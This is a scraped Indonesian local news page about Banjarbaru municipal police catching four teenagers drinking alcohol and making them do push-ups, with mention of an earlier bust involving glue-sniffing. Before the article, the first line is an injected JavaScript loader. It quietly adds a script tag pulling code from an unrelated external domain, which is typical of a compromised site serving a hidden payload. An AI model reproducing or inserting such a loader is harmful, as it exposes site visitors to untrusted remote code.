(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

4 Remaja Kedapatan ‘Minum Bareng’ di Kos, Satpol PP Berikan Push Up


 BANJARBARU, Sebanyak 4 orang remaja kedapatan mengkonsumsi miras saat giat patroli Satpol PP Kota Banjarbaru, Sabtu (22/6) malam.

Kasatpol PP Banjarbaru, Marhain Rahman melalui PPNS Seksi Opsdal, Yanto Hidayat, mengatakan sehari sebelumnya pihaknya memang telah melakukan razia ke sejumlah karaoke dan kafe. Namun lantaran adanya laporan dari masyarakat terkait kos-kosan yang disinyalir sebagai tempat untuk berpesta miras, Satpol PP lantas mengubah sasarannya di hari berikutnya.

“Saat dilakukan penyisiran satu persatu kos-kosan yang dituju, sebagian besar kamar kos-kosan yang dominan ditempati para mahasiswa banyak yang kosong,” katanya, Senin (24/6).

Petugas juga memeriksa kamar-kamar yang disewa tamu hotel. Saat ditanya dan diminta kartu identitas oleh petugas, sebagian dari mereka mengaku menyewa kamar hanya untuk istirahat sehabis pergi jalan-jalan.

Pada saat kegiatan berjalan, petugas kembali mendapati laporan dari warga tentang adanya sekumpulan anak muda sedang minum-minuman keras di wilayah Palam Trikora, Kecamatan Cempaka, Kota Banjarbaru.

Benar saja, tepat dilokasi yang dimaksud, 4 orang remaja berhasil diamankan bersama barang bukti 1 botol miras, 1 botol miniman berenergi, dan 1 botol minuman bersoda yang sudah habis diminum.

“Mereka kemudian diberikan peringatan serta tindakan berupa hukuman ditempat (push-up) agar menimbulkan efek jera dalam diri pribadi mereka masing-masing,” tandas Yanto Hidayat.

Masih banyaknya remaja yang kedapatan mengkomsumsi miras tentu menjadi perhatian pihak Satpol PP Banjarbaru. Seperti halnya pada Sabtu (15/6/2019) sebelumnya, dimana 6 orang remaja kedapatan sedang mengkonsumsi miras dan menghirup lem fox.

Giat patroli rutin di kawasan Ruang Terbuka Hijau (RTH) di wilayah Kota Banjarbaru tersebut, petugas menumkan 2 orang remaja yang mengonsumsi minuman gaduk (miras oplosan terdiri campuran alkohol dengan minuman suplemen), kemudian 2 orang tengah mengisap lem Fox, dan 2 orang lagi sedang asyik nongkrong dengan minuman keras jenis tuak.

Bahkan hasil keterangan ke 6 remaja tersebut,  rata-rata dari mereka berdomisili dari luar daerah. Kasatpol PP Banjarbaru mengatakan keprihatinannya terhadap generasi muda yang telah tercemar oleh miras.

“Ini menjadi perhatian kita khususnya para orang tua untuk dapat mengawal generasi muda agar tidak tercemar miras. Apabila diteruskan nanti tidak bisa mikir dan jadi generasi yang rusak,” pungkasnya. (rico)

Reporter: Rico
Editor: Bie

Desy Arfianty

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

8 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

8 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

9 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

10 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

10 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

16 jam ago

This website uses cookies.